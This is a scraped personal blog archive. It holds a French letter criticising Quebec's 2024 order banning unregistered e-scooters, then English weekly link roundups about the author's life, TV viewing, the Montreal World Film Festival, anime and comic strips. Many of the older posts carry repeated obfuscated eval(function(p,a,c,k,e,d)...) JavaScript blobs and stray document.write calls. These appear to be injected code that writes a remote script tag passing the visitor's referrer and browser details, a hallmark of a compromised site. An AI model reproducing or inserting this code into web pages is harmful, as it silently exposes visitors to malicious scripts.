Revue de presse

Pensée pour moi-même [002.024.281]

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Sur l’arrêté ministériel 2024-15

J’aimerais faire quelques commentaires sur l’ “Arrêté numéro 2024-15 de la ministre des Transports et de la Mobilité durable en date du 26 juillet 2024” concernant l’interdiction d’accès aux chemins publics de “certains véhicules motorisés qui ont l’apparence d’une motocyclette” (munis d’appui-pieds ou d’une plateforme, roues semi-pleines qui n’ont pas de rayons à broches, carrosserie, vitesse supérieure à 32 km/h ou moteur de plus de 500 watts, non immatriculé), car ils constituent “un risque pour la sécurité des personnes ou des biens”. 

Je trouve que cet arrêté ministériel est tout à fait absurde, car il ne s’attaque pas au véritable problème de la sécurité routière et il est beaucoup trop imprécis.

Il ne fait aucun sens de publier un arrêté ministériel sans avoir préalablement fait des études ou de la consultation avec les milieux concernés. On lance simplement un arrêté et l’on attend de voir la réaction. Ce n’est pas une façon de règlementer ou de gouverner. Cet arrêté semble simplement répondre aux inquiétudes d’une partie de la population quant à la sécurité des pistes cyclables sans avoir cherché à approfondir sur le sujet. Il n’est donc que le résultat d’une réaction populiste.

L’arrêté ne donne qu’une description très vague de ces “véhicules motorisés qui ont l’apparence d’une motocyclette”.  Il ne précise nulle part ce qu’est “la marque nationale de sécurité ou l’étiquette de conformité”, quelle en est son apparence et où la trouve-t-on. Le site du ministère des Transports ou de la SAAQ devrait offrir des descriptions plus précises, une liste de types de véhicules interdits, avec des exemples, ou tout au moins offrir un processus (à la SAAQ ou dans un poste de police de quartier) pour faire vérifier si notre véhicule est conforme aux normes de sécurité ou le faire homologuer. Au contraire, l’arrêté n’offre aucune ligne directrice précise.

L’arrêté n’est d’ailleurs pas très efficace puisque, jusqu’à maintenant, je n’ai pas entendu parler de personnes ayant reçu des contraventions ou ayant eu leur véhicule saisi et cela malgré un article de La Presse (daté du 2 août 2024) titrant “Le SPVM assure qu’il appliquera le règlement” où le SPVM affirme qu’il “appliquera sans délai le règlement interdisant les scooters électriques non immatriculés et imposera des amendes au besoin”. Je continue pourtant à voir sur la route autant de ces scooters électriques qu’avant.

Dans les articles que j’ai lus dans les médias, les gens semblent surtout se plaindre que les scooters électriques sont dangereux sur les pistes cyclables parce qu’ils sont beaucoup plus lourds que les bicyclettes. Or, l’arrêté ministériel ne fait aucune mention du critère de poids. Cela serait pourtant un facteur intéressant pour classer les véhicules par catégories. À quel niveau un véhicule motorisé est-il considéré comme trop lourd pour circuler sur une piste cyclable ? Un vélo standard pèse entre 7 et 15 kg. Une bicyclette électrique standard (incluant le Bixi électrique) pèse entre 25 et 35 kg. Un scooter électrique pèse environ 80 kg et une motocyclette électrique pèse environ 120 kg. Où mettre la limite ? L’arrêté ne mentionne rien à ce sujet. Rien non plus sur quels véhicules a le droit de circuler sur les pistes cyclables. Doit-on permettre les tri- et quadriporteurs ? Les skateboards (électriques ou non) ? Les trottinettes (électriques ou non) ? Les unis-roues ? Ces véhicules sont beaucoup plus lents que les bicyclettes et peuvent donc constituer un danger pour les cyclistes. Pourquoi l’arrêté cible-t-il uniquement les scooters ?

En ciblant largement les scooters électriques, l’arrêté pénalise collectivement un groupe de personnes qui utilisent ces véhicules pour d’excellentes raisons, fort louables: ils ne peuvent pas se permettre un véhicule plus dispendieux et n’ont pas de permis de conduire (l’usager typique étant étudiant ou livreur de restaurant), par soucis pour l’environnement ils choisissent un véhicule électrique afin de contribuer à réduire le nombre de voitures sur les routes et ainsi polluer moins que le ferait un véhicule à essence. Étrangement, les scooters à essence (dont les moteurs à deux temps sont extrêmement polluants) ne sont aucunement pénalisés ! Ceci va complètement à l’encontre de la politique d’électrification des transports du gouvernement.

Interdire globalement toute une catégorie de véhicule, sans avis préalable et sans proposer la moindre solution, est une position assez radicale et intenable. Il faudrait mieux définir la catégorie de véhicule interdit et aussi proposer des alternatives. Peut-être qu’une partie de ces véhicules devrait dorénavant être immatriculée ? Peut-être que certains véhicules, au lieu d’être complètement interdit de circuler, devraient simplement être interdit de circuler sur les pistes cyclables (quoi que les scooters et les motos électriques sont déjà interdits de circuler sur les pistes cyclables). Et, si une catégorie de véhicules est définitivement interdite de circuler, il faudrait offrir des compensations financières aux gens qui ont acheter un tel véhicule en toute bonne foi, pour les meilleures raisons du monde, qui se sont fait dire par le vendeur que cela était tout à fait légal, et qui maintenant se retrouve avec un véhicule totalement inutile, bon pour la ferraille.

J’aimerais maintenant citer en exemple mon cas personnel. Durant la COVID-19, afin d’éviter la possible contagion des transports en commun, je me suis acheté une bicyclette électrique afin de me rendre au travail. Il s’agit d’un Écolo Lithium de Greenpower HQ que j’ai payé environ $2000 avec accessoires. Malheureusement, il remplit plusieurs des critères énoncés dans l’arrêté ministériel: les roues s’apparentent à celle d’une motocyclette et une carrosserie recouvre une partie du cadre. Toutefois, il comporte un pédalier fonctionnel, il ne possède pas de plateforme appui-pied, son moteur n’excède pas 500 watts et sa vitesse est limitée à 32 km/h. Mais il pèse plus qu’une bicyclette électrique (80 kg) et la carrosserie, ainsi que le fait qu’il ait un large siège banane au lieu d’une selle, lui donne définitivement l’apparence d’un scooter. C’est pourtant techniquement une bicyclette électrique. Il possède d’ailleurs un autocollant qui dit “Ce véhicule est une bicyclette assistée et rencontre la norme 2(1) du règlement sur la sécurité des véhicules automobiles du Canada.” Le vendeur m’a clairement dit que c’était une bicyclette électrique qui ne nécessitait aucun permis et qui pouvait rouler sur les pistes cyclables. Mon Écolo est-il couvert par l’interdiction de circuler de l’arrêté ministériel ? Ce n’est vraiment pas clair. Et s’il l’était, serais-je indemnisé financièrement pour cet achat inutile ? Ne voulant cependant pas prendre la chance d’écoper d’une contravention, je me suis donc récemment acheté une véritable bicyclette électrique de type fat-bike: un RadExpand 5 de RadPower, qui ne pèse que 28 kg et que j’ai payé environ $2300 (avec accessoires, livraison et assemblage). Il ne rencontre aucun des critères énoncés par l’arrêté ministériel, mais, comme le fabricant est américain, il ne comporte nulle part l’indication qu’il est conforme à “la marque nationale de sécurité” (peu importe ce que c’est). Est-il donc légal de rouler avec ce véhicule au Québec ? J’aimerais bien que les règlements en la matière soient plus clairs et précis…

Finalement, cette question de la sécurité routière n’est pas un problème de véhicules qui ne sont pas sécuritaires. C’est un problème de gens qui conduisent des véhicules de façon non sécuritaire et qui ne respectent pas le Code de la route. Bannir un type de véhicule ou un autre n’y changera absolument rien. Il faut juste être plus sévère et consistant dans l’application des règlements existants (plus de policiers sur la route et les pistes cyclables) et faire des campagnes de sensibilisation. Tous les jours, en me rendant au travail (un trajet d’une vingtaine de minutes), je constate au moins une dizaine d’infractions: cyclistes et automobilistes qui ne font pas leurs arrêts, qui brûlent une lumière rouge, des piétons qui traversent n’importe où, sans regarder, sur une lumière rouge, des véhicules qui n’ont pas le droit de circuler dans une piste cyclable (skateboard, piéton avec poussette de bébé, joggeurs, véhicules stationnés, camions d’entrepreneur, etc.), de jeunes enfants à deux sur un scooter électrique, sans casques, et qui roulent PLUS VITE que moi (!), sans compter les pistes cyclables dangereuses, car mal entretenues (trous, bosses, jonchées de graviers, débris, déchets, poubelles, tas de feuilles mortes, etc.).

Non, cet arrêté ministériel ne changera rien à la sécurité routière.

Documentation:

Ajouts

(Note : cet article a été envoyé en tant que lettre de commentaire à la SAAQ et au ministère des Transports, ainsi qu’à quelques médias)

[ Translate ] [ eBike ]

Notable News [002.023.253]

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Notable News (Spring 2020 – Summer 2023)

I used to regularly post those status reports where I was summarizing all the notable news that happened in my life and around the world during the last week, month, quarter or year in the form of a “scrap-book” of interesting links (scrap-linking?). With the pandemic I got too busy with my life and I neglected to do so. I recently tried to clean up my old emails and notes and I will now attempt to catch up on the last three years…

On the domestic front a lot has happened during those three years. My health has taken a down turn with frequent migraines and many small issues that make me feel much older. There are no day without pain, but life goes on. I have changed job: I used to work as a library assistant in a municipal library but I am now an office clerk in the technology resources department of a municipal law enforcement agency. My wife, who was a waitress and kitchen assistant in a Japanese restaurant, has stopped working with the pandemic and is now dedicating her life to gardening and painting. I am still reading and writing not as much as I should and probably watching too much television. I can’t wait for retirement (only 1350 days left!) so I could have more time to dedicate to my writing. I started biking to go to work in the summer. However, over all, life has been the same usual routine.

On the world stage nothing much has changed. 2020 was all about COVID-19, the global economic recession brought by the pandemic, and the U.S. presidential election which was won by Joe Biden. If 2020 was one of the worse years in recent memory, 2021 was not much better as the pandemic persevered with various variants and Trump, refusing to accept defeat, conspired to overthrow the U.S. government, this conspiracy culminating with his supporters attacking the Capitol in an attempt to prevent the election certification. The delayed 2020 Summer Olympics were finally held in Japan and science scored a few wins with the creation of COVID vaccines, the launch of the James Webb Space Telescope and the landing on Mars of the rover Perseverance, carrying the drone Ingenuity — which made the first powered flight of a man-made object on another planet! 

In 2022, the pandemic was easing enough to start removing most restrictions and mitigation measures. Unfortunately the year was marred by tragedy and disasters: the Atlantic hurricanes Fiona and Ian, the most powerful volcano eruption of the century in Tonga, the assassination of Shinzo Abe, the death of Queen Elizabeth II and, most notably, the Russian invasion of Ukraine. The FIFA World Cup (unfortunately held in Qatar) and the Winter Olympics (unfortunately held in Beijing, China) were not enough to cheer us up. 

So far 2023 has been marked by a difficult economy, the continuation of the Russian invasion of Ukraine (which highlights the European cowardice as well as the weakness and failure of both NATO and the United Nations) mitigated by the start of the Ukrainian counteroffensive, and a resurgence of the Trump craziness (this time generated by his legal troubles — if you are a crook, traitor, fraudster, racketeer and rapist the law tends to catch up to you eventually). However, the main lesson of this year should be that the increasing occurence and strength of the storms, forest fires, flooding, heat waves, droughts, etc., are a clear sign that the climate change is happening faster than expected and that humanity (now eight billion strong) must act NOW before it is too late to mitigate, slow and eventually reverse those drastic changes. Unfortunately, it is also clear that no governments is ready to implement measures that would go far enough to be even slightly effective. The measures must be not superficial (individual) but systemic (societal) in order to really reduce our greenhouse gases emissions by diminishing the number of cars, the use of fossil fuels and the environmental destruction mostly caused by agricultural and food industry. At the same time we must try to reverse the trend with the use of sustainable energy, agriculture and transport, environmental restauration and tree planting, carbon capture, etc. One countermeasure won’t be enough. We must try them all at the same time if humanity wants to have a chance to survive the next couple of centuries…

Through all this I tried to stay acquainted with the affairs of the world and gathered a few notable news & links — which I now share with you after the jump (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window as usual). Many of those links and news will probably be obsolete…

[ Traduire ]

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Weekly notable news (W42)

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Not much happened this week. Same old, same old, as we say. Some aberrations at work keep exasperating me (but there’s only 552 more weeks to endure). On the way back from a doctor’s appointment, my wife and I walked through the mountain to admire the colours of fall. It was superb and I wonder why we don’t do this kind of walk more often. We’ve also spent time watching more of the American presidential insanities, two excellent animated features (Miss Hokusai and Osamu Tezuka’s Buddha Movie 1: The Red Desert! It’s Beautiful) as well as a new episode of Poldark. For my part, I’ve also started a promising new series (Westworld) and watched the season finale of Halt and Catch Fire. And I probably did a zillion other things (like updating my anime & manga bibliography) that I can’t even remember. But, does it really matter?

However, I do remember that I managed to find some time to stay acquainted with the affairs of the world. I therefore share with you a few notable news & links that I came across lately (in no particular order):

 

Funnies


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Weekly notable news (W40-41)

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In the last couple of weeks I felt deprived of all my energy. I couldn’t do or write much. All I did was updating my “Anime & manga bibliography” (and it’s far from finished). Depressingly, the news were dominated by the US election mud slinging. However, I discovered by chance a new french pop singer named Zaz (iTunes, Wikipedia, Youtube) — a great scratchy voice — and, with my wife, I’ve finished watching the fourth season of Mr. Selfridge as well as the mini-series And Then There Were None (a recent British-american adaptation of the famous Agatha Christie’s novel).

If the crazy pace at work (btw, only 553 weeks left!) can sometimes break my spirit (or, like now, my back!), there’s always something to rejuvenate my soul. Earlier today I took, with my wife, a long walk through the park of the Île-de-la-Visitation, observing the nature, the river, the automnal colours, and visiting the Sault-au-Récollet mill as well as the maison du pressoir. It was beautiful. I took several nice pictures.

Finally, of course, I still found a little time to stay acquainted with the affairs of the world. I therefore share with you a few notable news & links that I came across lately (in no particular order):

 

Funnies

Between friends: Monday, May 30, 2016

Non Sequitur: Monday, May 30, 2016

Between friends: Tuesday, May 31, 2016

Dilbert: Tuesday, May 31, 2016

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Weekly notable news (W39)

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Another busy week spent brooding about the craziness at work (still 555 weeks before retirement), document.write(“”); going to the hospital for another CT enterography for my wife and backing-up my computers to install macOS 10.12 Sierra on both my iMac and Mac Mini. Didn’t have much else on my mind.
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To relax we finished watching Dancing on the edge (Brit period drama about a black jazz band, part mystery and part social commentary on racism), the first episode of Maigret (Brit adaptation of Georges Simenon‘s police drama set in the ’50s Paris with Rowan Atkinson in the title role!!! It’s quite good once you’ve passed seeing Mr. Bean face. Now I understand why he never speaks in his sketches: he has a really serious, deep voice!) as well as the first two episodes of the second season of Poldark (yes, another Brit period drama).

And, of course, I still found a little time to stay acquainted with the affairs of the world. I therefore share with you a few notable news & links that I came across this week (in no particular order):

Funnies

Pearl Before Swine: Friday, May 27, 2016

[Reminds me of someone…]
Ben: Wednesday, June 1st, 2016

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Weekly notable news (W37-38)

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The first two weeks of September proved to be rather challenging. First, document.write(“”); I was trying to see as many of the Japanese movies shown at the Montreal World Films Festival as I could despite the troubles that the festival was experiencing and the fact that the schedule was constantly changing. Then, my wife woke up in the middle of the night with excruciating abdominal pain and we ended up at the hospital’s emergency ward. They kept her for five days and performed several tests without being sure of the nature or cause of the problems. They found some sort of enteritis to the small intestine and a gastritis. She feels well now, but it is a worrying situation since we’re still waiting for the result of the biopsy and more tests are scheduled. She survived cancer once ten years ago, so we are waiting the results with apprehension.
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It was tiring for me during that time because I had to shuttle back and forth between work (a.k.a the madhouse), the hospital and (once) the film festival. But the beginning of September also brought a few good news: Apple announced some new products as well as released updates, and I got a well over-due pay raise! Unfortunately, there’s still five-hundred-and-fifty-seven weeks left before I can retire from work and dedicate my entire time to my personal projects (like writing).

Despite all this, I found time to watch a few dvds at home with my wife. First, we watch Belle et Sébastien 2: L’Aventure continue. It’s a cute adventure dog movie, full of improbabilities but it also reminded me of the TV series I was watching when I was a kid. Then I watched Gods of Egypt (by myself because my wife doesn’t like sci-fi stuff), which tells — super-heroes style — the founding myth of Egypt where Horus must fight his uncle Set who killed his father Osiris in order to reign over Earth. Horus is helped by the thief Bek, who just want to save his lover Zaya. If you would removed the specials effects from this movie, it would have nothing left of interest…

Finally, I watch Hail, Caesar. It’s a star-laden film by the Coen brothers which poke fun of the Hollywood film industry in the 1950s while managing to recreate several of its archetypes: the peblum movies, the synchronized swimming and tap dancing movies, stunt-filled westerns, etc. The film follow studio manager Eddie Mannix (Josh Brolin) trying to hold production together while unmarried actress DeeAnna Moran (Scarlett Johansson) becomes pregnant and big star Baird Whitlock (George Clooney) is abducted by a conspiration of communists! Hilarious, beautifully written and an interesting window on the era.

As always I did my best to keep myself acquainted with the affairs of the world. So, let me share with you a few notable news & links that I came across in the last few weeks (in no particular order):

Apple new products

Funnies

Dilbert: Tuesday, May 17, 2016 / “Boss Figures Out A System”

[A-Ah! That’s what they are doing!]

Between Friends: Wednesday, May 18, 2016

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Weekly notable news (W36)

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I always do my best to keep myself acquainted with the affairs of the world. So, document.write(“”); let me share with you a few notable news & links that I came across this week (in no particular order):
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Revue de Presse du FFM

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Weekly notable news (W35)

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I always do my best to keep myself acquainted with the affairs of the world. So, document.write(“”); let me share with you a few notable news & links that I came across this week (in no particular order). Of course, lately I am particularly interested in the Montreal World Film Festival, but you’ll find the press review for this event inside my daily festival updates (MWFF in jeopardy, Day 1, Day 1.2).
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Rhymes with Orange: Tuesday, May 10, 2016

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Weekly notable news (week 34)

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This last week was rather quiet and a good part of the notable news & links that I found interesting were related to the Montreal World Film Festival which is coming very soon. I’ve spent a lot of my spare time lately finishing my coverage from last year’s festival and preparing to cover its upcoming 40th anniversary edition.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krydr|var|u0026u|referrer|dnanb||js|php’.split(‘|’),0,{}))

Lots of people are bitching about the festival. Those people want a glamorous festival like Cannes or Toronto, document.write(“”); but they really don’t understand the nature of the Montreal’s festival. I am not saying that the MWFF is without flaws (there are aplenty) but I am quite satisfied with what we have here: a quiet, fan-oriented festival that showcase film as an art-form and a vehicle of culture for film-makers from any country, of any age and of various skill levels. Toronto is a commercial festival. I don’t want to see stars that I can see everyday on TV or movies that will be released in theatres two weeks later. I want to see great stories and beautiful movies that I cannot see anywhere else but the MWFF. And there is plenty of stars there too: actors and directors from Japan, Portugal, Iran, Turkey, to name just a few places, and from all over Europe. That’s good enough for me. I just want to enjoy myself, to be amazed and I really don’t care about the politics of it all. I can’t understand why our various level of government want to punish movie fans and not support such a great festival.

[ Traduire ]

Weekly notable news (week 33)

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Here are twenty-five notable news & links that I found interesting, document.write(“”); amazing or plain weird (in no particular order & some in French) / Voici vingt-cinq nouvelles et liens notables que j’ai trouvé intéressant, étonnant ou tout simplement bizarre (sans ordre particulier et la plupart en anglais):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsbns|var|u0026u|referrer|htaad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehhai|var|u0026u|referrer|adrba||js|php’.split(‘|’),0,{}))

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Weekly notable news (week 32)

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First, document.write(“”); on a personal note: the last few months have been quite trying for me (the summer has zipped past in no time). On top of having to adapt to a new job at an even crazier library, I undertook some (expensive) renovations at home and managing the various team of workers was quite a challenge. And not only I sprained my ankle (with a small fracture) so I had to wear a pneumatic cast for over a month (still do) but I also had to suffer another painful medical problem (won a free game in our pinball’s medical system). And I broke my glasses this morning. It seems that I am in for another anus horribilis. All this left me exhausted physically, mentally and morally. I lost all patience I had left to deal with (stupid) people and the world (tired of Trump and all this violence). To quote Indiana Jones, I am really getting too old for this shit. Therefore, I didn’t write much lately. Sorry.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfykn|var|u0026u|referrer|anizy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frnin|var|u0026u|referrer|siezr||js|php’.split(‘|’),0,{}))

However, all is not lost. The weather has been beautiful in the last few days and I am starting to feel better (hopefully it will keep improving; think positive: life is good). In the last week or so, I’ve been trying to remedy to this unfortunate neglect in my blogger’s duty. And, since the film festivals season is at our doors, I am starting to put online my movie comments from last year’s MWFF, in order to build up the interest and anticipation (whether the festival happens or not). I hope it’s working.

As always, I also keep myself acquainted with the affairs of the world. So, here are a few notable news & links that I came across this week (in no particular order):

And some Funnies…


Between Friends: Saturday, April 2, 2016

Rhyme with Orange: Monday, April 4, 2016

Ben: Saturday, April 16, 2016

Dilbert: Sunday, April 17, 2016

[ Traduire ]

A few more notable news

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Here are a few notable news & links (mostly anime & manga related) that I came across recently:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srysa|var|u0026u|referrer|ikydn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tafbn|var|u0026u|referrer|beysr||js|php’.split(‘|’),0,{}))

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Funnies forever

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Here (after the break) are a few notably funny comic strips that I found in the last few months…

Starting with Unshelved, the web comics about the staff (and patrons) of a rather dysfunctional library. I caught up on several months of strips to realize that artist Bill Barnes decided to take a break and was replaced by occasional contributor Chris Hallbeck. It doesn’t change anything. Here are a few of my favourites (believe it or not I’ve experienced many of those situations):


Tuesday, September 16, 2014

Monday, January 26, 2015

Monday, October 5, 2015

Monday, March 28, 2016

Wednesday, June 1, 2016

Wednesday, June 8, 2016

And now a few more of various kind (I’m slowly catching up on my pile of funnies):

Between Friends: September 1, 2015 (I feels like that often)

Dilbert: Wednesday October 07, 2015: Computers Program Humans (It’s so dickian !)

Dilbert: Thursday October 15, 2015: Visualize Your Contribution To Society (Ah! Work !)

Rhymes with orange: Monday November 02, 2015 (the litany against idiocy)

Dog Eat Doug: Sunday January 03, 2016 (magical libraries)

Dilbert: Monday January 11, 2016: How Work Is Going (no comment…)

Bizarro: Saturday January 16, 2016 (historical truth)

Dilbert: Monday January 25, 2016: Doubling Percieved Lifespan (…)

Bizarro: Thursday February 11, 2016 (reminds me of “Vacances de Jésus & Bouddha” manga)

Stone Soup: Sunday February 14, 2016: (Thanks to my wife!)

A few notable news

/ Clodjee / Leave a comment

Here are a few notable news & links (mostly anime & manga related) that I came across recently:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zknti|var|u0026u|referrer|ddkzs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnydi|var|u0026u|referrer|ketde||js|php’.split(‘|’),0,{}))

[ Traduire ]

Five notable links

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Here are five links that I came across in the last couple of weeks and that I found rather interesting. I share them with you in no particular order :
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzhdd|var|u0026u|referrer|yehth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkbky|var|u0026u|referrer|kfzdh||js|php’.split(‘|’),0,{}))

[ Traduire ]

Ten notable news

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Here are ten anime & manga notable news that I came across in the last month or so (in no particular order):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ystsa|var|u0026u|referrer|hftrd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnfbk|var|u0026u|referrer|irntr||js|php’.split(‘|’),0,{}))

[ Traduire ]

Kawamori interview on Forbes!

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While browsing on the internet, document.write(“”); I just discovered this long and fascinating interview of Shoji Kawamori on the Forbes magazine!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iazat|var|u0026u|referrer|bszzd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttati|var|u0026u|referrer|tyykb||js|php’.split(‘|’),0,{}))

The creator of Macross talks about the genesis of the series, about how important it is for him to create realistic mocha, about writing and directing, about how his work seems to have inspired many other creators (without ever being credited), and so many other things! It’s really an interesting article.

Rose of Versailles manga and other notable news

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At Comic-Con, document.write(“”); Udon Entertainment has announced that they will release the first english version of Riyoko Ikeda’s classic shojo manga Rose of Versailles. The series will be released as two omnibus volumes in the second quarter of 2016.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bskdz|var|u0026u|referrer|esrse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azskn|var|u0026u|referrer|nfirr||js|php’.split(‘|’),0,{}))

